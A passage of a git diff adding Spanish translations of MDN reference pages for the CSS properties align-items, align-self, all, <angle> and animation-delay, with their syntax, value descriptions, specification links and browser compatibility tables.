+align-items: last baseline; /* Alineamiento de desborde (solamente para alineamiento posicional) */
+align-items: safe center;
+align-items: unsafe center;
+
+/* Valores globales */
+align-items: inherit;
+align-items: initial;
+align-items: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>El efecto de esta palabra clave depende del modo de diseño utilizado:</dd>
+</dl>
+
+<ul>
+ <li>en diseños de absolutamente-posicionados, esta clave se comporta como <code>start</code> en cajas-absolutamente-posicionadas <em>reemplazadas</em>. y como <code>stretch</code> en <em>todas las demas </em>cajas-absolutamente-posicionadas.</li>
+ <li>En la posicion estatica de diseños absolutamenteposicionados, esta clave se comporta como <code>stretch</code>.</li>
+ <li>Para elementos flex, la clave se comporta como <code>stretch</code>.</li>
+ <li>Para elementos grid, Esta palabra clave conduce a un comportamiento similar al de <code>stretch</code>, excepto para cuadros con una relación de aspecto o un tamaño intrínseco donde se comporta como <code>start</code>.</li>
+ <li>La propiedad no se aplica a cajas de nivel de bloque ni a celdas de tabla.</li>
+</ul>
+
+<dl>
+ <dt></dt>
+ <dt><code>flex-start</code></dt>
+ <dd>El límite del margen transversal inicial del elemento flexible es unido al borde transversal final de la línea.</dd>
+ <dt><code>flex-end</code></dt>
+ <dd>El límite del margen transversal final del elemento flexible es unido al borde transversal final de la línea.</dd>
+ <dt><code>center</code></dt>
+ <dd>Los márgenes del elemento flexible son centrados dentro de la línea sobre su eje transversal. Si el tamaño transversal del elemento es mayor al del contenedor, se excederá por igual en ambas direcciones.</dd>
+ <dt><code>start</code></dt>
+ <dd>Los elementos se agrupan uno junto al otro hacia el borde inicial del contenedor de alineación en el eje apropiado.</dd>
+ <dt><code>end</code></dt>
+ <dd>Los elementos se agrupan uno junto al otro hacia el borde final del contenedor de alineación en el eje apropiado.</dd>
+ <dt><code>baseline</code></dt>
+ <dd>Todos los elementos flexibles son ajustados de modo que sus bases queden alineadas. El elemento con la distancia mayor entre su límite transversal inicial y su base es combinado con el borde transversal de la línea.</dd>
+ <dt><code>stretch</code></dt>
+ <dd>Las elementos flexibles son estirados de modo que el tamaño transversal de sus límites sea el mismo de la línea, manteniendo sus restricciones de anchura y altura.</dd>
+ <dt>
+ <h3 id="Sintaxis_formal">Sintaxis formal</h3>
+ </dt>
+</dl>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#propdef-align-items', 'align-items')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome(21.0)}}{{property_prefix("-webkit")}}<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop("20.0")}}<sup>[2]</sup></td>
+   <td>11.0<sup>[3]</sup></td>
+   <td>12.10</td>
+   <td>7.0{{property_prefix("-webkit")}} </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("20.0")}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>12.10</td>
+   <td>7.0{{property_prefix("-webkit")}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Las versiones anteriores de la especificación tratan a los hijos con posición absoluta como si fueran elementos flexibles de <code>0x0</code>. Las versiones posteriores los excluyen del flujo y establecen sus posiciones con base en las propiedades de alineación y justificación. Chrome implementa el comportamiento nuevo a partir de Chrome 52.</p>
+
+<p>[2] Para activar soporte a flexbox en Firefox 18 y 19, el usuario debe acceder a <code>about:config</code> y cambiar el valor de la preferencia <code>layout.css.flexbox.enabled</code> a <code>true</code>. Los flexbox multiínea son soportados desde Firefox 28.</p>
+
+<p>Además del soporte sin prefijo, Gecko 48.0 {{geckoRelease("48.0")}} añadió soporte a la versión con prefijo <code>-webkit</code> de la propiedad, por razones de compatibilidad, usando la preferencia <code>layout.css.prefixes.webkit</code>, con valor predeterminado <code>false</code>. Desde Gecko 49.0 {{geckoRelease("49.0")}} el valor predeterminado de esta preferencia es <code>true</code>.</p>
+
+<p>[3] En Internet Explorer 10-11, si los elementos flex de una columna tienen <code>align-items: center;</code> y su contenido es muy largo, se saldrán de los límites del contenedor. Véase <a href="https://github.com/philipwalton/flexbugs#2-column-flex-items-set-to-align-itemscenter-overflow-their-container">Flexbug #2</a> para más información.</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/es/docs/Web/CSS/CSS_Flexible_Box_Layout/Usando_las_cajas_flexibles_CSS" title="CSS/Using_CSS_flexible_boxes">Usando las cajas flexibles CSS</a></li>
+</ul>
diff --git a/files/es/web/css/align-self/index.html b/files/es/web/css/align-self/index.html
new file mode 100644
index 0000000000..639c48a15a
--- /dev/null
+++ b/files/es/web/css/align-self/index.html
@@ -0,0 +1,137 @@
+---
+title: align-self
+slug: Web/CSS/align-self
+tags:
+  - Cajas Flexibles CSS
+  - Propiedad CSS
+  - Referencia
+translation_of: Web/CSS/align-self
+---
+<p>{{CSSRef}}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad <a href="/en-US/docs/CSS" title="CSS">CSS</a> <strong><code>align-self</code></strong> alinea los elementos flexibles de la línea flexible actual, reemplazando el valor de {{cssxref("align-items")}}. Si el límite transversal de alguno de los elementos está definido como <code>auto</code>, el valor de <code>align-self</code> es ignorado.</p>
+
+<p>{{cssinfo}}</p>
+
+<p>Véase <a href="https://developer.mozilla.org/es/docs/Web/CSS/CSS_Flexible_Box_Layout/Usando_las_cajas_flexibles_CSS" title="/en/CSS/Using_CSS_flexible_boxes">Usando las cajas flexibles CSS</a> para más propiedades e información.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css">/* Valores clave */
+align-self: auto;
+align-self: flex-start;
+align-self: flex-end;
+align-self: center;
+align-self: baseline;
+align-self: stretch;
+
+/* Valores globales */
+align-self: inherit;
+align-self: initial;
+align-self: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Se calcula acorde al valor de {{cssxref("align-items") }} del padre, o al de <code>stretch</code> si el elemento no tiene padre.</dd>
+ <dt><code>flex-start</code></dt>
+ <dd>El límite transversal inicial del elemento flexible es unido al borde transversal inicial de la línea.</dd>
+ <dt><code>flex-end</code></dt>
+ <dd>El límite transversal final del elemento flexible es unido al borde transversal final de la línea.</dd>
+ <dt><code>center</code></dt>
+ <dd>Los límites del elemento flexible son centrados dentro de la línea en su eje transversal. Si el tamaño transversal del elemento es superior al del contenedor, se excederá por igual hacia ambas direcciones.</dd>
+ <dt><code>baseline</code></dt>
+ <dd>Todos los elementos flexibles son ajustados de modo que sus bases estén alineadas. El elemento con la distancia mayor entre su límite transversal inicial y su base es combinado con el borde transversal de la línea.</dd>
+ <dt><code>stretch</code></dt>
+ <dd>Las elementos flexibles son estirados de modo que el tamaño transversal de sus límites sea el mismo de la línea, manteniendo sus restricciones de anchura y altura.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Box Alignment', '#align-self-property', 'align-self') }}</td>
+   <td>{{ Spec2('CSS3 Box Alignment') }}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>21.0{{property_prefix("-webkit")}}<br>
+    36.0</td>
+   <td>{{CompatGeckoDesktop("20.0")}}<sup>[1]</sup></td>
+   <td>11.0</td>
+   <td>12.10</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>12.10</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Firefox soporta solamente flexbox de una línea hasta Firefox 27. Para activar soporte a flexbox, en Firefox 18 y 19, el usuario debe cambiar la preferencia <code>layout.css.flexbox.enabled</code> a <code>true</code> en la página <code>about:config</code>.</p>
+
+<p>Además del soporte sin prefijo, Gecko 48.0 (Firefox 48.0 / Thunderbird 48.0 / SeaMonkey 2.45) añadió soporte a la versión con prefijo <code>-webkit</code> de la propiedad, por razones de compatibilidad, usando la preferencia <code>layout.css.prefixes.webkit</code>, con valor predeterminado <code>false</code>. Desde Gecko 49.0 (Firefox 49.0 / Thunderbird 49.0 / SeaMonkey 2.46) el valor predeterminado de esta preferencia es <code>true</code>.</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/es/docs/Web/CSS/CSS_Flexible_Box_Layout/Usando_las_cajas_flexibles_CSS" title="CSS/Using_CSS_flexible_boxes">Usando las cajas flexibles CSS</a></li>
+</ul>
diff --git a/files/es/web/css/all/index.html b/files/es/web/css/all/index.html
new file mode 100644
index 0000000000..0bb60f5174
--- /dev/null
+++ b/files/es/web/css/all/index.html
@@ -0,0 +1,219 @@
+---
+title: all
+slug: Web/CSS/all
+tags:
+  - Cascada CSS
+  - Propiedad CSS
+  - Referencia
+translation_of: Web/CSS/all
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad de forma reducida <code><strong>all</strong></code> restaura todas las propiedades, excepto {{cssxref("unicode-bidi")}} y {{cssxref("direction")}}, a su valor inicial o heredado.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css">all: initial;
+all: inherit;
+all: unset;
+
+/* CSS Cascading and Inheritance Level 4 */
+all: revert;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>initial</code></dt>
+ <dd>Esta palabra clave indica que se cambien todas las propiedades aplicables al elemento, o a su elemento padre, a sus valores iniciales. Los valores de {{cssxref("unicode-bidi")}} y {{cssxref("direction")}} no son afectados.</dd>
+ <dt><code>inherit</code></dt>
+ <dd>Esta palabra clave indica que se cambien todas las propiedades aplicables al elemento, o a su elemento padre, a los valores de los elementos padre. Los valores de {{cssxref("unicode-bidi")}} y {{cssxref("direction")}} no son afectados.</dd>
+ <dt><code>unset</code></dt>
+ <dd>Esta palabra clave indica que se cambien todas las propiedades aplicables al elemento, o a su elemento padre, a los valores de los elementos padres, si son heredadas, o a sus valores iniciales en caso contrario. Los valores de {{cssxref("unicode-bidi")}} y {{cssxref("direction")}} no son afectados.</dd>
+ <dt><code>revert</code></dt>
+ <dd>Si el valor en cascada de una propiedad es la palabra clave revert, el comportamiento dependerá del origen al que pertenece la declaración:
+ <dl>
+  <dt>user-agent origin</dt>
+  <dd>Equivalente a <code>unset</code>.</dd>
+  <dt>user origin</dt>
+  <dd>Revierte la cascada al nivel del agente usuario, para que el valor especificado sea calculado como si no se hubieran especificado reglas a nivel de autor o a nivel de usuario para esta propiedad.</dd>
+  <dt>author origin</dt>
+  <dd>Revierte la cascada a nivel del usuario, para que el valor especificado sea calculado como si no se hubieran especificado reglas a nivel de autor para esta propiedad. Para permitir la reversión, este origen incluye los orígenes de Override y Animation.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p id="HTML"><strong>HTML</strong></p>
+
+<pre class="brush: html">&lt;blockquote id="quote"&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit.&lt;/blockquote&gt; Phasellus eget velit sagittis.</pre>
+
+<p id="CSS"><strong>CSS</strong></p>
+
+<pre class="brush: css">html {
+  font-size: small;
+  background-color: #F0F0F0;
+  color: blue;
+}
+
+blockquote {
+  background-color: skyblue;
+  color: red;
+}
+</pre>
+
+<p id="Results">Su resultado es:</p>
+
+<div id="ex0" style="display: inline-block; width: 225px; vertical-align: top;">
+<h4 id="Sin_propiedad_all">Sin propiedad <code>all</code></h4>
+
+<pre class="brush: html hidden">&lt;blockquote id="quote"&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit.&lt;/blockquote&gt; Phasellus eget velit sagittis.</pre>
+
+<pre class="brush: css hidden">html { font-size: small; background-color: #F0F0F0; color:blue; }
+blockquote { background-color: skyblue;  color: red; }</pre>
+{{EmbedLiveSample("ex0", "200", "125")}}
+
+<p>El elemento {{HTMLElement("blockquote")}} usa los estilos predeterminados del navegador junto con colores de fondo y de texto específicos. También se comporta como elemento <em>block</em>: el texto que le sigue está debajo de él.</p>
+</div>
+
+<div id="ex1" style="display: inline-block; width: 225px; vertical-align: top;">
+<h4 id="allunset"><code>all:unset</code></h4>
+
+<pre class="brush: html hidden">&lt;blockquote id="quote"&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit.&lt;/blockquote&gt; Phasellus eget velit sagittis.</pre>
+
+<pre class="brush: css hidden">html { font-size: small; background-color: #F0F0F0; color:blue; }
+blockquote { background-color: skyblue;  color: red; }
+blockquote { all: unset; }</pre>
+{{EmbedLiveSample("ex1", "200", "125")}}
+
+<p>El elemento {{HTMLElement("blockquote")}} no usa los estilos predeterminados del navegador: ahora es un elemento <em>inline</em> (valor inicial), su propiedad {{cssxref("background-color")}} es <code>transparent</code> (valor inicial), pero su propiedad {{cssxref("font-size")}} sigue siendo <code>small</code> (valor heredado) y su propiedad {{cssxref("color")}} es <code>blue</code> (valor heredado).</p>
+</div>
+
+<div id="ex2" style="display: inline-block; width: 225px; vertical-align: top;">
+<h4 id="allinitial"><code>all:initial</code></h4>
+
+<pre class="brush: html hidden">&lt;blockquote id="quote"&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit.&lt;/blockquote&gt; Phasellus eget velit sagittis.</pre>
+
+<pre class="brush: css hidden">html { font-size: small; background-color: #F0F0F0; color:blue; }
+blockquote { background-color: skyblue;  color: red; }
+blockquote { all: initial; }</pre>
+{{EmbedLiveSample("ex2", "200", "125")}}
+
+<p>El elemento {{HTMLElement("blockquote")}} no usa los estilos predeterminados del navegador: ahora es un elemento <em>inline</em> element (valor inicial), su propiedad {{cssxref("background-color")}} es <code>transparent</code> (valor inicial), su propiedad {{cssxref("font-size")}} es  <code>normal</code> (valor inicial) y su propiedad {{cssxref("color")}} es <code>black</code> (valor inicial).</p>
+</div>
+
+<div id="ex3" style="display: inline-block; width: 225px; vertical-align: top;">
+<h4 id="allinherit"><code>all:inherit</code></h4>
+
+<pre class="brush: html hidden">&lt;blockquote id="quote"&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit.&lt;/blockquote&gt; Phasellus eget velit sagittis.</pre>
+
+<pre class="brush: css hidden">html { font-size: small; background-color: #F0F0F0; color:blue; }
+blockquote { background-color: skyblue; color: red; }
+blockquote { all: inherit; }</pre>
+{{EmbedLiveSample("ex3", "200", "125")}}
+
+<p>El elemento {{HTMLElement("blockquote")}} no usa los estilos predeterminados del navegador: ahora es un elemento <em>block</em> (valor heredado de su contenedor {{HTMLElement("div")}}), su propiedad {{cssxref("background-color")}} es <code>transparent</code> (valor heredado), su propiedad {{cssxref("font-size")}} es <code>small</code> (valor heredado) y su propiedad {{cssxref("color")}} es <code>blue</code> (valor heredado).</p>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS4 Cascade', '#all-shorthand', 'all') }}</td>
+   <td>{{ Spec2('CSS4 Cascade') }}</td>
+   <td>Añadido el valor <code>revert</code>.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Cascade', '#all-shorthand', 'all') }}</td>
+   <td>{{ Spec2('CSS3 Cascade') }}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome("37")}} </td>
+   <td>{{ CompatGeckoDesktop("27") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome("24")}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>revert</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>9.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("27")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>revert</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>9.3</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<p>Los valores de las propiedades CSS: {{cssxref("initial")}}, {{cssxref("inherit")}}, {{cssxref("unset")}}, y {{cssxref("revert")}}.</p>
diff --git a/files/es/web/css/angle/index.html b/files/es/web/css/angle/index.html
new file mode 100644
index 0000000000..8da1e5173d
--- /dev/null
+++ b/files/es/web/css/angle/index.html
@@ -0,0 +1,139 @@
+---
+title: <angle>
+slug: Web/CSS/angle
+tags:
+  - Ángulo
+translation_of: Web/CSS/angle
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>El tipo de dato <code>&lt;angle&gt;</code> de <a href="/es/docs/Web/CSS" title="CSS">CSS</a> representa valores de ángulo. Los valores positivos representan ángulos en sentido de las agujas del reloj, mientras los valores negativos representan ángulos en sentido opuesto. Su sintáxis es un valor de tipo numérico ({{cssxref("&lt;number&gt;")}}) seguido inmediatamente por la unidad (<code>deg</code>, <code>grad</code>, <code>rad</code> o <code>turn</code>). Al igual que cualquier otra dimensión en CSS, no debe haber espacio entre la unidad y el número.</p>
+
+<p>Para propiedades estáticas y una unidad dada, un ángulo puede ser representado por muchos valores: <code>90deg</code> y <code>-270deg</code>, o <code>1turn</code> y <code>4turn</code> representan la misma posición final. Sin embargo, para posiciones dinámicas, como aplicar una transición ({{ cssxref("transition") }}) en la propiedad {{ cssxref("transform") }}, el efecto será diferente.</p>
+
+<p><span style="line-height: 1.5;">Se deben usar las siguientes unidades:</span></p>
+
+<ul>
+ <li><code><a id="deg">deg</a></code>, que representa un ángulo en <a class="external" href="https://es.wikipedia.org/wiki/Grado_sexagesimal" title="http://en.wikipedia.org/wiki/Degree_%28angle%29">grados</a>. Un círculo completo equivale a <code>360deg</code>. Ejemplos: <code>0deg</code>, <code>90deg</code>, <code>360deg</code>.</li>
+ <li><code><a id="grad">grad</a></code>, que representa un ángulo en <a class="external" href="https://es.wikipedia.org/wiki/Grado_centesimal" title="http://en.wikipedia.org/wiki/Gradian">grado centesimal</a>. Un circulo completo equivale a <code>400grad</code>. Ejemplos: <code>0grad</code>, <code>100grad</code>, <code>400grad</code>.</li>
+ <li><code><a id="rad">rad</a></code>, que representa un ángulo en <a class="external" href="https://es.wikipedia.org/wiki/Radi%C3%A1n" title="http://en.wikipedia.org/wiki/Radian">radianes</a>. Un círculo completo equivale a 2π radianes, que se aproxima a <code>6.2832rad</code>. <code>1rad</code> es 180/π grados. Ejemplos: <code>0rad</code>, <code>1.0708rad</code>, <code>6.2832rad</code>.</li>
+ <li><code><a id="turn">turn</a></code>, que representa el número de vueltas del ángulo. Un círculo completo equivale a <code>1turn</code>. Ejemplos: <code>0turn</code>, <code>0.25turn</code>, <code>1turn</code>.</li>
+</ul>
+
+<p>Aun cuando todas las unidades representan lo mismo para el valor <code>0</code>, la unidad no debe ser omitida en ese caso, puesto que no es un valor de tipo {{cssxref("&lt;length&gt;")}}: <code>0</code> es inválido, y no representa <code>0deg</code>, <code>0grad</code>, <code>0rad</code> o <code>0turn</code>.</p>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<table style="width: 100%;">
+ <tbody>
+  <tr>
+   <td><img alt="Angle90.png" class="default internal" src="/@api/deki/files/5704/=Angle90.png"></td>
+   <td>
+    <p>Ángulo recto: <code>90deg = 100grad = 0.25turn</code> <code style="white-space: nowrap;">≈</code><code> 1.5708rad</code></p>
+   </td>
+  </tr>
+  <tr>
+   <td><img alt="Angle180.png" class="default internal" src="/@api/deki/files/5706/=Angle180.png"></td>
+   <td>Ángulo llano: <code>180deg = 200grad = 0.5turn</code><code> </code><code style="white-space: nowrap;">≈</code><code> 3.1416rad</code></td>
+  </tr>
+  <tr>
+   <td><img alt="AngleMinus90.png" class="default internal" src="/@api/deki/files/5707/=AngleMinus90.png"></td>
+   <td>Ángulo recto (hacia la izquierda): <code>-90deg = -100grad = -0.25turn</code> <code style="white-space: nowrap;">≈</code><code> -1.5708rad</code></td>
+  </tr>
+  <tr>
+   <td><img alt="Angle0.png" class="default internal" src="/@api/deki/files/5708/=Angle0.png"></td>
+   <td>
+    <p>Ángulo nulo: <code>0deg = 0grad = 0turn</code><code> </code><code style="white-space: nowrap;">=</code><code> 0rad</code></p>
+
+    <div class="note"><strong>Nota:</strong> <code>0</code> no es un valor de ángulo válido.</div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Values', '#angles', '&lt;angle&gt;') }}</td>
+   <td>{{ Spec2('CSS3 Values') }}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>2 (528.17)</td>
+   <td>3.6 (1.9.2)</td>
+   <td>9.0</td>
+   <td>{{ CompatNo }}</td>
+   <td>4.0 (528.17)</td>
+  </tr>
+  <tr>
+   <td><code>turn</code> unit</td>
+   <td>{{ CompatNo }}</td>
+   <td>13.0</td>
+   <td>9.0</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatUnknown }}</td>
+  </tr>
+  <tr>
+   <td><code>turn</code> unit</td>
+   <td>{{ CompatNo }}</td>
+   <td>13.0</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/animation-delay/index.html b/files/es/web/css/animation-delay/index.html
new file mode 100644
index 0000000000..6edea7e4f2
--- /dev/null
+++ b/files/es/web/css/animation-delay/index.html
@@ -0,0 +1,125 @@
+---
+title: animation-delay
+slug: Web/CSS/animation-delay
+tags:
+  - CSS
+  - CSS Animations
+  - CSS Property
+  - Experimental
+  - Reference
+translation_of: Web/CSS/animation-delay
+---
+<p>{{ CSSRef() }}</p>
+
+<p>{{ SeeCompatTable() }}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad <a href="/en/CSS" title="CSS">CSS</a> <code>animation-delay</code> especifica el tiempo de retardo que debe transcurrir antes de comenzar la animación. Esto permite que la secuencia de animación no comience nada más ser aplicada a un elemento.</p>
+
+<p>El valor 0, que es el valor por defecto, indica que la animación debería comenzar inmediatamente. Usando otro valor, definimos el retardo entre el momento en que el elemento recibe la animación y el comienzo de la secuencia de la misma.</p>
+
+<p>Si especificamos un valor negativo, la animación comenzará inmediatamente, pero no desde el principio de la misma, sino desde el punto que le hemos indicado. Por ejemplo, si ponemos un retardo de -1s, la animación se iniciará inmediatamente pero comenzará en el segundo 1 de la secuencia.</p>
+
+<p>Si se especifica un valor negativo para el retraso de la animación, pero el valor de inicio es implícito, el valor inicial es tomado desde el momento en que la animación es aplicada al elemento.</p>
+
+<p>A menudo es conveniente usar la propiedad abreviada {{ cssxref("animation") }} para ajustar las propiedades de animación una sola vez.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="twopartsyntaxbox">Gramática formal: <a href="/en-US/docs/CSS/time">&lt;time&gt;</a> [, <a href="/en-US/docs/CSS/time">&lt;time&gt;</a>]*
+</pre>
+
+<pre>animation-delay: 3s
+animation-delay: 2s, 4ms
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;time&gt;</code></dt>
+ <dd>El espacio de tiempo que debe transcurrir desde que la animación se aplica al elemento y el comienzo de la misma. Podemos especificarlo en segundos (usando <code>s</code>) o milisegundos (usando <code>ms</code>). Si no especificamos la unidad, la sentencia no será válida.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Visitar <a href="/es/CSS/Usando_animaciones_CSS" title="en/CSS/CSS_animations">animaciones CSS</a> para ver algunos ejemplos.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Animations', '#animation-delay', 'animation-delay') }}</td>
+   <td>{{ Spec2('CSS3 Animations') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilidad entre navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
